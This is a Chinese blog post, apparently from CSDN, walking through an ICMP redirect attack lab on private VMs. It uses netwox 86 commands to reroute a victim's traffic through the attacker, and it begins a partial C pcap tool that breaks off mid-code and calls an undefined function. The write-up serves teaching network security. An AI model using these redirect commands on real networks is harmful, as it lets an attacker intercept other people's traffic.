icmp重定向攻击实验

本文通过实验详细阐述了如何进行ICMP重定向攻击,包括攻击机与靶机的设置,利用编程发送重定向报文的过程,以及不同情况下攻击的成功与否。实验展示了攻击机开启和关闭转发功能对攻击结果的影响,并提出了实验中待改进的部分。
摘要由CSDN通过智能技术生成

使用netwox测验

实验环境:

攻击机:kali linux 192.168.181.129

靶机:ubuntu20.04 192.168.181.131

默认网关:192.168.181.2

1、安装必要工具

# 安装 ifconfig 等网络命令
$ sudo apt-get install net-tools
# 安装 traceroute
$ sudo apt-get install traceroute
# 安装 netwox 工具, 攻击机需要
$ sudo apt-get install netwox
# 安装 wireshark
$ sudo apt-get install wireshark

2、设置靶机允许重定向(一般默认允许)

# 该配置在 /proc/sys/net/ipv4/conf/all
$ cat /proc/sys/net/ipv4/conf/all/accept_redirects
# 此处一般显示为1, 若不为1, 使用下面的命令修改为1
$ sudo vim /etc/sysctl.conf
# vim打开该文件后, 设置 net.ipv4.conf.all.accept_redirects = 1 后退出
$ sudo sysctl -p		# 此条语句进行刷新

在这里插入图片描述

3、靶机打开wireshark,并开始抓包,选择ens33接口,过滤条件为icmp

$ sudo wireshark

在这里插入图片描述

4、攻击机使用netwox 86工具进行攻击

  • 攻击机不开启转发功能进行攻击
# -f "host <ip>" -f后跟过滤规则
# -g <ip>		指定新的网关
# -i <ip>		指定靶机之前用的网关
$ sudo netwox 86 -f "host 192.168.181.131" -g 192.168.181.129 -i 192.168.181.2

在这里插入图片描述

因为攻击机没有开启转发功能,所以靶机ping失败。

之所以第一个包成功了,是因为netwox需要抓包来进行icmp重定向报文的伪造,也就是说,此时靶机的网关还是192.168.181.2,靶机将ping包发到了默认网关而非攻击机

  • 攻击机开启转发功能进行攻击
# 第一步修改配置文件
$ sudo vim /etc/sysctl.conf 
# 设置 net.ipv4.ip_forward = 1
$ sudo sysctl -p	# 刷新

在这里插入图片描述

# -f "host <ip>" -f后跟过滤规则
# -g <ip>		指定新的网关
# -i <ip>		指定靶机之前用的网关
$ sudo netwox 86 -f "host 192.168.181.131" -g 192.168.181.129 -i 192.168.181.2

在这里插入图片描述

关注上图两个红框的内容

  • 第一条是默认网关192.168.181.2发给靶机的重定向信息,告诉靶机要把报文发给192.168.181.129(这里系统反写了ip)
  • 第二条是攻击机192.168.181.129要转发报文,所以将报文转发给了网关,又因为这里网关和攻击机属于同一个子网,所以攻击机会给靶机发送重定向报文,告诉靶机要把报文直接发给网关192.168.181.2(这里可能有点绕,好好想想)
  • 第三条就是靶机收到的icmp回复报文

最后,我们还可以看看重定向报文到底长啥样

在这里插入图片描述

选择一个192.168.181.2 => 182.168.181.131的报文看看

在这里插入图片描述
在这里插入图片描述
至此,使用netwox环节就结束了

使用raw_socket编程来发送icmp重定向报文

1、pcap抓包测验

#include <pcap.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>

#define MAXBYTE2CAPTURE 2048

/* 
 * @brief 处理抓到的包,显示数据包长度
 * @param arg: 用户自定义参数
 * @param pkthdr: 抓到的数据包的描述结构,内含数据包的长度等信息
 * @param packet: 抓到的数据包
 */
void processPacket1(u_char *arg, const struct pcap_pkthdr *pkthdr, const u_char *packet) {
   
    int i = 0, *counter = (int *) arg;
    // 当前是第几个包
    printf("Packet Count: %d\n", ++(*counter));
    // 当前抓到的包的长度
    printf("Received Packet Size: [%d]\n", pkthdr->len);
    return ;
}

int main() {
   
    int i = 0;
    u_char count = 0;
    pcap_t *descr = NULL;
    char errbuf[PCAP_ERRBUF_SIZE], *first_device = NULL;
    memset(errbuf, 0, sizeof(errbuf));
    /* pcap_lookupdev 查找网络设备,返回可用被 pcap_open_live() 函数调用的网络设备名指针 */
    first_device = pcap_lookupdev(errbuf);
    printf("Opening device %s\n", first_device);
    /*
    pcap_open_love(device, maxsize, promisc, towait, errbuf)
    maxsize	指定最大捕获字节数
    promisc	指定是否采用混杂模式
    towait	指定等待时间
    打开网络设备,并返回用于捕获网络数据包的数据包捕获描述字
    */
    descr = pcap_open_live(first_device, MAXBYTE2CAPTURE, 1, 1000, errbuf);
    if (descr == NULL) {
   
        printf("open device error!");
        return 0;
    }
    /*
    pcap_loop(pcap_t *descr, int cnt, pcap_handler callback, u_char *user);
    descr		数据包捕获描述符
    cnt			捕获多少个数据包停止,-1表示无限循环
    callback	回调函数,捕获到一个数据包会进入该函数进行处理
    user		留给用户的参数,它会作为callback函数的第一个参数
    */
    pcap_loop(descr, -1, processPacket, (u_char *)&count);
}

2、命令行控制传参与设置抓包过滤规则

我们的程序需要指定新的网关和靶机正在使用的网关,以及靶机

具体参数控制规则为

-f "host <ip>" -g <new_gateway> -i <old_gateway>

那么根据getopt规则,我们设置的参数控制语句为:f:g:i:

了解一下netwox原理,我们需要先抓包,再根据抓到的包进行icmp重定向报文的发送

我们这里有两种情况,指定靶机进行攻击,不指定靶机进行攻击

对于指定靶机进行攻击的操作,我们只需要设置过滤规则,只捕获靶机发出来的数据包即可

/* 请求结构,指定旧的网关和新的网关和靶机 */
typedef struct Request {
   
    u_char vic_ip[16];
    u_int new_gateway;
    u_int old_gateway;
} req;

/* 
 * @brief 处理抓到的包
 * @param arg: 用户自定义参数
 * @param pkthdr: 抓到的数据包的描述结构,内含数据包的长度等信息
 * @param packet: 抓到的数据包
 */
void processPacket1(u_char *arg, const struct pcap_pkthdr *pkthdr, const u_char *packet) {
   
    
}

// 返回标志是否指定靶机
int processCMD(int argc, char **argv, req *parameters) {
   
    char *host = "host";
    int ch;
    int f = 0;
    /* getopt函数,单个字符后接一个冒号,表示该选项后跟一个参数 */
    while ((ch = getopt(argc, argv, "f:g:i:")) != -1) {
   
        switch (ch) {
   
            case 'f':
                if (memcmp(optarg, host, 4) == 0) {
   
                    strcpy(parameters->vic_ip, optarg + 5);
                    f = 1;
                } else {
   
                    printf("xxx.c -f \"host <vic_ip>\"\n");
                    exit(-1);
                }
                break;
            case 'g':
                parameters->new_gateway = inet_addr(optarg);
                break;
            case 'i':
                parameters->old_gateway = inet_addr(optarg);
                break;
            default:
                printf(
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值